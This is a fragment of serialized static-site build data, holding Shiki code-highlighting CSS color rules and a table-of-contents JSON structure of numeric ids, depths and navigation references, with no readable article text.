.spJ8K{--shiki-light:#008000;--shiki-default:#6A9955;--shiki-dark:#6A9955}html pre.shiki code .s8Opu, html code.shiki .s8Opu{--shiki-light:#795E26;--shiki-default:#DCDCAA;--shiki-dark:#DCDCAA}html pre.shiki code .sD7JJ, html code.shiki .sD7JJ{--shiki-light:#000000FF;--shiki-default:#D4D4D4;--shiki-dark:#D4D4D4}html pre.shiki code .sbdoH, html code.shiki .sbdoH{--shiki-light:#A31515;--shiki-default:#CE9178;--shiki-dark:#CE9178}html pre.shiki code .siwwj, html code.shiki .siwwj{--shiki-light:#001080;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}html pre.shiki code .su1O8, html code.shiki .su1O8{--shiki-light:#0000FF;--shiki-default:#569CD6;--shiki-dark:#569CD6}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .su9tN, html code.shiki .su9tN{--shiki-light:#0000FF;--shiki-default:#CE9178;--shiki-dark:#CE9178}html pre.shiki code .s-QsJ, html code.shiki .s-QsJ{--shiki-light:#0070C1;--shiki-default:#4FC1FF;--shiki-dark:#4FC1FF}html pre.shiki code .s8xlr, html code.shiki .s8xlr{--shiki-light:#AF00DB;--shiki-default:#C586C0;--shiki-dark:#C586C0}html pre.shiki code .sJj4R, html code.shiki .sJj4R{--shiki-light:#098658;--shiki-default:#B5CEA8;--shiki-dark:#B5CEA8}html pre.shiki code .sLwNe, html code.shiki .sLwNe{--shiki-light:#0451A5;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}html pre.shiki code .sN1BT, html code.shiki .sN1BT{--shiki-light:#267F99;--shiki-default:#4EC9B0;--shiki-dark:#4EC9B0}html pre.shiki code .sqdDX, html code.shiki .sqdDX{--shiki-light:#800000;--shiki-default:#D7BA7D;--shiki-dark:#D7BA7D}html pre.shiki code .sDUd3, html code.shiki .sDUd3{--shiki-light:#0451A5;--shiki-default:#CE9178;--shiki-dark:#CE9178}",{"title":4210,"searchDepth":4235,"depth":4235,"links":13537},[13538,13544,13551,13558,13563,13564,13565],{"id":3836,"depth":4235,"text":3837,"children":13539},[13540,13541,13542,13543],{"id":3841,"depth":4245,"text":3842},{"id":3905,"depth":4245,"text":3906},{"id":4172,"depth":4245,"text":4173},{"id":4871,"depth":4245,"text":4872},{"id":5089,"depth":4235,"text":3801,"children":13545},[13546,13547,13548,13549,13550],{"id":5092,"depth":4245,"text":5093},{"id":5163,"depth":4245,"text":5164},{"id":5706,"depth":4245,"text":5707},{"id":6531,"depth":4245,"text":6532},{"id":7102,"depth":4245,"text":7103},{"id":8312,"depth":4235,"text":8313,"children":13552},[13553,13554,13555,13556,13557],{"id":8327,"depth":4245,"text":8328},{"id":9352,"depth":4245,"text":9353},{"id":9746,"depth":4245,"text":9747},{"id":9972,"depth":4245,"text":9973},{"id":10185,"depth":4245,"text":10186},{"id":10418,"depth":4235,"text":10419,"children":13559},[13560,13561,13562],{"id":10422,"depth":4245,"text":8337},{"id":10962,"depth":4245,"text":10963},{"id":11769,"depth":4245,"text":9752},{"id":12173,"depth":4235,"text":12174},{"id":12616,"depth":4235,"text":12617},{"id":13496,"depth":4235,"text":13497},"md",null,{},{"title":3606,"description":4210},"n6kqIP2KW9k_R9pSPGtEfBCZLiW4NPkQy3zLOwqNJ8E",[13572,13573],{"title":3602,"path":3603,"stem":3604,"description":4210,"children":-1},{"title":3610,"path":3611,"stem":3612,"description":4210,"children":-1},1788070091396]